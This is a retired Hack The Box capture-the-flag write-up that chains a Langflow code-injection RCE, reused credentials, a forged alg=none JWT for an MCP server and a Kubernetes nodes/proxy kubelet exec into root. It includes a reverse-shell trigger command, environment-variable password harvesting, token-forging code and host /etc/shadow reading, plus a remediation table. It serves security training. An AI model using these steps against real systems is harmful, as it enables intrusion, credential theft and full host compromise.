Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Hack The Box — Fireflow

Full walkthrough: from an exposed AI tool to root on a Kubernetes node. Author: marcdanielj (mak0) · OS: Linux (Ubuntu 24.04 / k3s) · Difficulty: Hard

ℹ️ Fireflow is a retired Hack The Box machine. Flags are redacted by convention; the techniques below are shared for educational purposes.


Table of Contents

  1. Summary & Kill Chain
  2. CVEs & Weaknesses Exploited
  3. Reconnaissance
  4. Web Enumeration — Finding Langflow
  5. Foothold — CVE-2026-33017 (Langflow RCE)
  6. User Flag — Credential Reuse
  7. Pivot — MCP Server JWT alg=none
  8. Root Flag — Kubernetes Privilege Escalation
  9. Remediation
  10. Repo Contents

Summary & Kill Chain

Fireflow chains a modern AI application vulnerability with a Kubernetes container escape. The public web page is a decoy; the real target is an internal Langflow 1.8.2 instance reachable only by virtual host. The compromise walks through four identities:

# Stage Technique Result
1 Recon nmap service scan SSH + nginx (443)
2 Web enum TLS SAN + leaked header → vhost flow.fireflow.htb = Langflow 1.8.2
3 Foothold CVE-2026-33017 code injection on a public flow RCE as www-data
4 Loot Password in service env → SSH reuse Shell as nightfall (USER)
5 Pivot MCP server: JWT alg=none → tool RCE RCE as mcp inside a k8s pod
6 Privesc SA nodes/proxy + kubelet /exec into privileged pod ROOT on host

nmap


CVEs & Weaknesses Exploited

Exploited CVE

CVE Component Class Role in this box
CVE-2026-33017 Langflow ≤ 1.8.2 Unauthenticated RCE (build_public_tmp code evaluation) Initial foothold (www-data)

Present but NOT exploited (already patched on target)

CVE Component Note
CVE-2025-3248 Langflow /api/v1/validate/code Returned 403 on 1.8.2 — auth enforced, not usable here

Non-CVE weaknesses / misconfigurations in the chain (these are the rest of the path — honestly labeled, not padded into CVEs)

  • CWE-347 — Improper Signature Verification: the internal MCP server accepts JWT alg=none, allowing admin-token forgery.
  • CWE-94 — Code Injection: MCP "tool registration" executes arbitrary submitted code.
  • CWE-522 — Credential reuse / secrets in environment: Langflow superuser password reused for the nightfall OS account.
  • Kubernetes RBAC misconfiguration: service account mcp-sa holds nodes/proxy, enabling kubelet /exec into a privileged pod that mounts the host filesystem (hostPath: /).

1. Reconnaissance

nmap -sVC -Pn 10.129.100.161
22/tcp    open   ssh       OpenSSH 9.6p1 Ubuntu
443/tcp   open   ssl/http  nginx
| ssl-cert: commonName=fireflow.htb
|   Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
9100,30000,30718,31038,31337/tcp   filtered   (firewalled k8s NodePorts)

Findings

  • TLS cert leaks the hostname fireflow.htb and a wildcard SAN *.fireflow.htb → implies virtual hosts.
  • SSH is patched — park it for credential reuse.
echo "10.129.100.161 fireflow.htb" | sudo tee -a /etc/hosts

2. Web Enumeration — Finding Langflow

The root site is a static decoy. A response header leaks the real app host:

curl -sk -I https://fireflow.htb/
# X-Frame-Options: ALLOW-FROM https://flow.fireflow.htb   <-- leaked subdomain
echo "10.129.100.161 flow.fireflow.htb" | sudo tee -a /etc/hosts
curl -sk https://flow.fireflow.htb/api/v1/version
# {"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}

langflow


3. Foothold — CVE-2026-33017 (Langflow RCE)

Langflow 1.8.2 is vulnerable to CVE-2026-33017: the build_public_tmp endpoint evaluates a component's user-supplied code, unauthenticated. It only builds public flows, and the landing page conveniently leaks one:

/playground/7d84d636-af65-42e4-ac38-26e867052c25   (PUBLIC flow)

Key detail: Langflow only executes the class body of the submitted component, so the payload must live there (top-level statements are dropped). A timing oracle proves execution:

inject `sleep 6` in the class body  →  build_duration: 6.02s   [RCE CONFIRMED]

Full exploit: exploits/lf_rce.py.

# listener
nc -lvnp 4444
# trigger (payload base64-wrapped, placed in the component class body)
python3 exploits/lf_rce.py https://flow.fireflow.htb \
    "echo <b64-revshell> | base64 -d | bash" 7d84d636-af65-42e4-ac38-26e867052c25
www-data@fireflow:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

rce


4. User Flag — Credential Reuse

The Langflow service exposes its config through the process environment:

cat /proc/1553/environ | tr '\0' '\n' | grep -i langflow
# LANGFLOW_SUPERUSER=langflow
# LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

That password is reused for the nightfall system account:

sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.100.161
# uid=1000(nightfall)  →  cat ~/user.txt   →   [USER FLAG - redacted]

user


5. Pivot — MCP Server JWT alg=none

nightfall's home holds an MCP (Model Context Protocol) client config for an internal server on a Kubernetes NodePort:

{ "server":"http://10.129.100.161:30080", "user":"langflow-bot",
  "password":"Langfl0w@mcp2026!" }

The server advertises "supported_algorithms":["HS256","none"]. Because it accepts none, we forge an unsigned admin token — no secret required:

import base64,json
b=lambda d: base64.urlsafe_b64encode(json.dumps(d,separators=(",",":")).encode()).rstrip(b"=").decode()
print(b({"alg":"none","typ":"JWT"})+"."+b({"sub":"admin","role":"admin"})+".")

As admin we register a "tool" whose code runs commands (the server captures stdout). Invoking it lands us inside a Kubernetes pod as mcp, with a mounted service-account token:

HOST=mcp-server-54464cb475-29ztf
/var/run/secrets/kubernetes.io/serviceaccount/token   present

mcp


6. Root Flag — Kubernetes Privilege Escalation

The pod's service account mcp-sa can't create pods, but it can get nodes/proxy — which lets us talk directly to the kubelet (root daemon on the node), bypassing pod RBAC.

kubectl --server https://127.0.0.1:6443 --insecure-skip-tls-verify \
  --token "$SA_TOKEN" auth can-i --list
# nodes/proxy   [get]     <-- the escalation primitive

Listing pods via the kubelet reveals a privileged pod that mounts the entire host filesystem:

monitoring  prometheus-node-exporter-*  priv=True  hostPath=['/proc','/sys','/']
   node-exporter:  /host/root  <-  host:/

The kubelet's /exec endpoint is served over a WebSocket GET — which only needs get nodes/proxy (which we have). Tunnelling the kubelet to our box and running a small exec client (exploits/kexec.py) gives root command execution where the host's / is mounted:

ssh -N -L 10250:127.0.0.1:10250 nightfall@10.129.100.161 &
python3 exploits/kexec.py "id; cat /host/root/root/root.txt"
# uid=0(root) gid=65534(nobody) groups=10(wheel)
# [ROOT FLAG - redacted]

Proof of host-level root — reading /etc/shadow:

root:$y$j9T$Er8ol............:20580:0:99999:7:::

root


Remediation

Layer Weakness Fix
Langflow 1.8.2 RCE (CVE-2026-33017); exposed public flow Upgrade to 1.9.0+; never expose public flows; network-isolate
Secrets Password in service environment Use a secret store; never reuse app creds for OS accounts
MCP server JWT accepts alg=none Pin HS256/RS256; reject none; verify signatures
MCP server Arbitrary code in tool registration Sandbox tools; drop the eval-style execution model
Kubernetes SA has nodes/proxy Remove it; scope RBAC least-privilege
Kubernetes Privileged pod mounts host / Avoid hostPath: /; enforce Pod Security restricted

Repo Contents

.
├── README.md                 # this writeup
├── screenshots/              # terminal captures of each stage (generate with tools/gen_screens.py)
├── exploits/
│   ├── lf_rce.py             # CVE-2026-33017 Langflow RCE (public flow, class-body exec)
│   └── kexec.py              # kubelet /exec WebSocket client (nodes/proxy get)
└── tools/
    └── gen_screens.py        # renders the terminal screenshots used above

Generating the screenshots

pip3 install Pillow
python3 tools/gen_screens.py     # writes PNGs into screenshots/

For educational and authorized security-testing purposes only. Fireflow is a retired Hack The Box machine.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages